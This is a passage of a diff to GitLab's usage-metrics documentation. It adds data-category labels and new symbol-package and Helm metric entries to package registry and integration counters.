Tiers: `free`, `premium`, `ultimate`
@@ -3510,6 +4088,8 @@ A count of Conan packages that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3522,6 +4102,8 @@ A count of Conan packages that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3534,6 +4116,8 @@ A count of container images that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -3546,6 +4130,8 @@ A count of container images that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -3558,6 +4144,8 @@ A count of container images that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -3570,6 +4158,8 @@ A count of Debian packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3582,6 +4172,8 @@ A count of Debian packages that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3594,6 +4186,8 @@ A count of Debian packages that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -3606,6 +4200,8 @@ A count of packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3618,6 +4214,8 @@ A count of packages that have been deleted using a Deploy Token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3630,6 +4228,8 @@ A count of packages that have been deleted using a Guest
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3642,6 +4242,8 @@ A count of packages that have been deleted using a logged in user
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3654,6 +4256,8 @@ A count of generic packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3666,6 +4270,8 @@ A count of generic packages that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3678,6 +4284,8 @@ A count of generic packages that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3690,6 +4298,8 @@ A count of Go modules that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3702,6 +4312,8 @@ A count of Go modules that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3714,6 +4326,8 @@ A count of Go modules that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3726,6 +4340,22 @@ Total count of pull Helm packages events
Group: `group::package`
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_helm_push_package`
+
+The total count of Helm packages that have been published.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210625095025_package_events_i_package_helm_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -3738,6 +4368,8 @@ A count of Maven packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3750,6 +4382,8 @@ A count of Maven packages that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3762,6 +4396,8 @@ A count of Maven packages that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3774,6 +4410,8 @@ A count of npm packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3786,6 +4424,8 @@ A count of npm packages that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3798,6 +4438,8 @@ A count of npm packages that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3810,6 +4452,8 @@ A count of NuGet packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3822,10 +4466,26 @@ A count of NuGet packages that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `counts.package_events_i_package_nuget_pull_symbol_package`
+
+A count of NuGet symbol packages that have been downloaded from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709191135_package_events_i_package_nuget_pull_symbol_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `counts.package_events_i_package_nuget_push_package`
A count of NuGet packages that have been published
@@ -3834,10 +4494,26 @@ A count of NuGet packages that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `counts.package_events_i_package_nuget_push_symbol_package`
+
+A count of NuGet symbol packages that have been uploaded to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709191829_package_events_i_package_nuget_push_symbol_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `counts.package_events_i_package_pull_package`
A count of packages that have been downloaded from the package registry
@@ -3846,6 +4522,8 @@ A count of packages that have been downloaded from the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3858,6 +4536,8 @@ A count of packages that have been downloaded from the package registry using a
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3870,6 +4550,8 @@ A count of packages that have been downloaded from the package registry by a gue
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3882,10 +4564,68 @@ A count of packages that have been downloaded from the package registry by a use
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `counts.package_events_i_package_pull_symbol_package`
+
+A count of symbol packages that have been pulled from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709210941_package_events_i_package_pull_symbol_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pull_symbol_package_by_deploy_token`
+
+A count of symbol packages that have been pulled with a deploy token from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709211058_package_events_i_package_pull_symbol_package_by_deploy_token.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pull_symbol_package_by_guest`
+
+A count of symbol packages that have been pulled with by a guest from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709211248_package_events_i_package_pull_symbol_package_by_guest.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pull_symbol_package_by_user`
+
+A count of symbol packages that have been pulled with by an authenticated user from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709211341_package_events_i_package_pull_symbol_package_by_user.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `counts.package_events_i_package_push_package`
A count of packages that have been published to the package registry
@@ -3894,6 +4634,8 @@ A count of packages that have been published to the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3906,6 +4648,8 @@ A count of packages that have been published to the package registry using a dep
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3918,6 +4662,8 @@ A count of packages that have been published to the package registry by a Guest
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3930,10 +4676,68 @@ A count of packages that have been published to the package registry by a user
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `counts.package_events_i_package_push_symbol_package`
+
+A count of symbol packages that have been pushed to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709211439_package_events_i_package_push_symbol_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_push_symbol_package_by_deploy_token`
+
+A count of symbol packages that have been pushed with a deploy token to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709211636_package_events_i_package_push_symbol_package_by_deploy_token.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_push_symbol_package_by_guest`
+
+A count of symbol packages that have been pushed by a guest to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709211731_package_events_i_package_push_symbol_package_by_guest.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_push_symbol_package_by_user`
+
+A count of symbol packages that have been pushed by an authenticated user to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210709211831_package_events_i_package_push_symbol_package_by_user.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `counts.package_events_i_package_pypi_delete_package`
A count of Python packages that have been deleted from the package registry
@@ -3942,6 +4746,8 @@ A count of Python packages that have been deleted from the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3954,6 +4760,8 @@ A count of Python packages that have been downloaded from the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3966,6 +4774,8 @@ A count of Python packages that have been published to the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3978,6 +4788,8 @@ Total count of RubyGems packages delete events
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3990,6 +4802,8 @@ Total count of pull RubyGems packages events
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4002,6 +4816,8 @@ Total count of push RubyGems packages events
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4014,6 +4830,8 @@ A count of package tags that have been deleted from the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -4026,6 +4844,8 @@ A count of package tags that have been downloaded from the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -4038,6 +4858,8 @@ A count of package tags that have been published to the package registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -4050,6 +4872,8 @@ Total count of Terraform Module packages delete events
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4062,6 +4886,8 @@ Total count of pull Terraform Module packages events
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4074,6 +4900,8 @@ Total count of push Terraform Module packages events
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4086,6 +4914,8 @@ The total number of packages published to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4098,6 +4928,8 @@ Total GitLab Pages domains
Group: `group::release management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -4110,6 +4942,8 @@ Count of personal Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4122,6 +4956,8 @@ Count the total number of log views
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`
@@ -4134,6 +4970,8 @@ Count of unique object pool repositories for fork deduplication
Group: `group::gitaly`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4146,6 +4984,8 @@ Total visits to /groups/:group/-/analytics/productivity_analytics all time
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4158,6 +4998,8 @@ Total GitLab Managed disabled clusters previously attached to projects
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4170,6 +5012,8 @@ Total GitLab Managed clusters attached to projects
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4182,6 +5026,8 @@ Count of project Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4194,6 +5040,8 @@ Count of Projects created
Group: `group::project management`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4206,6 +5054,8 @@ Count of projects with active integrations for Asana
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4218,6 +5068,8 @@ Count of projects with active integrations for Assembla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4230,6 +5082,8 @@ Count of projects with active integrations for Bamboo CI
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4242,6 +5096,8 @@ Count of projects with active integrations for Bugzilla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4254,6 +5110,8 @@ Count of projects with active integrations for Buildkite
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4266,6 +5124,8 @@ Count of projects with active integrations for Campfire
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4278,6 +5138,8 @@ Count of projects with active integrations for Confluence
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4288,11 +5150,13 @@ Counts of Projects that have incident issues, regardless of status.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_custom_issue_tracker_active`
@@ -4302,6 +5166,8 @@ Count of projects with active integrations for a Custom Issue Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4314,6 +5180,8 @@ Count of projects with active integrations for Datadog
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4326,6 +5194,8 @@ Count of projects with active integrations for Discord
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4338,6 +5208,8 @@ Count of projects with active integrations for Drone CI
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4350,6 +5222,8 @@ Count of projects with active integrations for Emails on Push
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4362,6 +5236,8 @@ Count of projects with active integrations for EWM
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4374,6 +5250,8 @@ Count of projects with active integrations for External Wiki
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4386,6 +5264,8 @@ Count of projects with active integrations for Flowdock
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4398,6 +5278,8 @@ Count of projects with active integrations for GitHub
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -4410,6 +5292,8 @@ Count of projects with active integrations for Hangouts Chat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4422,6 +5306,8 @@ Count of projects with active integrations for HipChat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -4434,6 +5320,8 @@ Missing description
Group: `group::import`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -4446,6 +5334,8 @@ Count of active projects inheriting integrations for Asana
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4458,6 +5348,8 @@ Count of active projects inheriting integrations for Assembla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4470,6 +5362,8 @@ Count of active projects inheriting integrations for Bamboo CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4482,6 +5376,8 @@ Count of active projects inheriting integrations for Bugzilla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4494,6 +5390,8 @@ Count of active projects inheriting integrations for Buildkite
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4506,6 +5404,8 @@ Count of active projects inheriting integrations for Campfire
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4518,6 +5418,8 @@ Count of active projects inheriting integrations for Confluence
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4530,6 +5432,8 @@ Count of active projects inheriting integrations for a Custom Issue Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4542,6 +5446,8 @@ Count of active projects inheriting integrations for Datadog
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4554,6 +5460,8 @@ Count of active projects inheriting integrations for Discord
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4566,6 +5474,8 @@ Count of active projects inheriting integrations for Drone CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4578,6 +5488,8 @@ Count of active projects inheriting integrations for Emails on Push
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4590,6 +5502,8 @@ Count of active projects inheriting integrations for EWM
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4602,6 +5516,8 @@ Count of active projects inheriting integrations for External Wiki
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4614,6 +5530,8 @@ Count of active projects inheriting integrations for Flowdock
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4626,6 +5544,8 @@ Count of active projects inheriting integrations for GitHub
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -4638,6 +5558,8 @@ Count of active projects inheriting integrations for Hangouts Chat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4650,6 +5572,8 @@ Count of active projects inheriting integrations for HipChat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -4662,6 +5586,8 @@ Count of active projects inheriting integrations for Irker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4674,6 +5600,8 @@ Count of active projects inheriting integrations for Jenkins
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4686,6 +5614,8 @@ Count of active projects inheriting integrations for Jira
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4698,6 +5628,8 @@ Count of active projects inheriting integrations for Mattermost
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4710,6 +5642,8 @@ Count of active projects inheriting integrations for Mattermost (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4722,6 +5656,8 @@ Count of active projects inheriting integrations for Microsoft Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4734,6 +5670,8 @@ Count of active projects inheriting integrations for Mock CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -4746,6 +5684,8 @@ Count of active projects inheriting integrations for Mock Monitoring
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -4758,6 +5698,8 @@ Count of active projects inheriting integrations for Packagist
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4770,6 +5712,8 @@ Count of active projects inheriting integrations for Pipeline Emails
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4782,6 +5726,8 @@ Count of active projects inheriting integrations for Pivotal Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4794,6 +5740,8 @@ Count of active projects inheriting integrations for Prometheus
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4806,6 +5754,8 @@ Count of active projects inheriting integrations for Pushover
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4818,6 +5768,8 @@ Count of active projects inheriting integrations for Redmine
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4830,6 +5782,8 @@ Count of active projects inheriting integrations for Slack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4842,6 +5796,8 @@ Count of active projects inheriting integrations for Slack (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4854,6 +5810,8 @@ Count of active projects inheriting integrations for Teamcity CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4866,6 +5824,8 @@ Count of active projects inheriting integrations for Unifiy Circuit
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4878,6 +5838,8 @@ Count of active projects inheriting integrations for Webex Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4890,6 +5852,8 @@ Count of active projects inheriting integrations for YouTrack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4902,6 +5866,8 @@ Count of projects with active integrations for Irker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4914,6 +5880,8 @@ Count of projects with active integrations for Jenkins
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4926,6 +5894,8 @@ Count of projects with active integrations for Jira
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4938,6 +5908,8 @@ Count of active integrations with Jira Cloud (Saas)
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4950,6 +5922,8 @@ Count of active integrations with Jira Cloud (DVCS Connector)
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4962,6 +5936,8 @@ Count of active integrations with Jira Software (DVCS connector)
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4974,6 +5950,8 @@ Total Jira Issue feature enabled
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -4986,6 +5964,8 @@ Count of active integrations with Jira Software (server)
Group: `group::ecosystem`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4998,6 +5978,8 @@ Count of projects with active integrations for Mattermost
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5010,6 +5992,8 @@ Count of projects with active integrations for Mattermost (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5022,6 +6006,8 @@ Count of projects with active integrations for Microsoft Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5034,6 +6020,8 @@ Projects with repository mirroring enabled
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -5046,6 +6034,8 @@ Count of projects with active integrations for Mock CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -5058,6 +6048,8 @@ Count of projects with active integrations for Mock Monitoring
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -5070,6 +6062,8 @@ Count of projects with active integrations for Packagist
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5082,6 +6076,8 @@ Count of projects with active integrations for Pipeline Emails
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5094,6 +6090,8 @@ Count of projects with active integrations for Pivotal Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5106,6 +6104,8 @@ Count of projects with active integrations for Prometheus
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5118,6 +6118,8 @@ Count of projects with active integrations for Pushover
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5130,6 +6132,8 @@ Count of projects with active integrations for Redmine
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5142,6 +6146,8 @@ Projects with a GitHub service pipeline enabled
Group: `group::continuous_integration`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -5154,6 +6160,8 @@ Count of projects with active integrations for Slack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5166,6 +6174,8 @@ Count of projects with active integrations for Slack (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
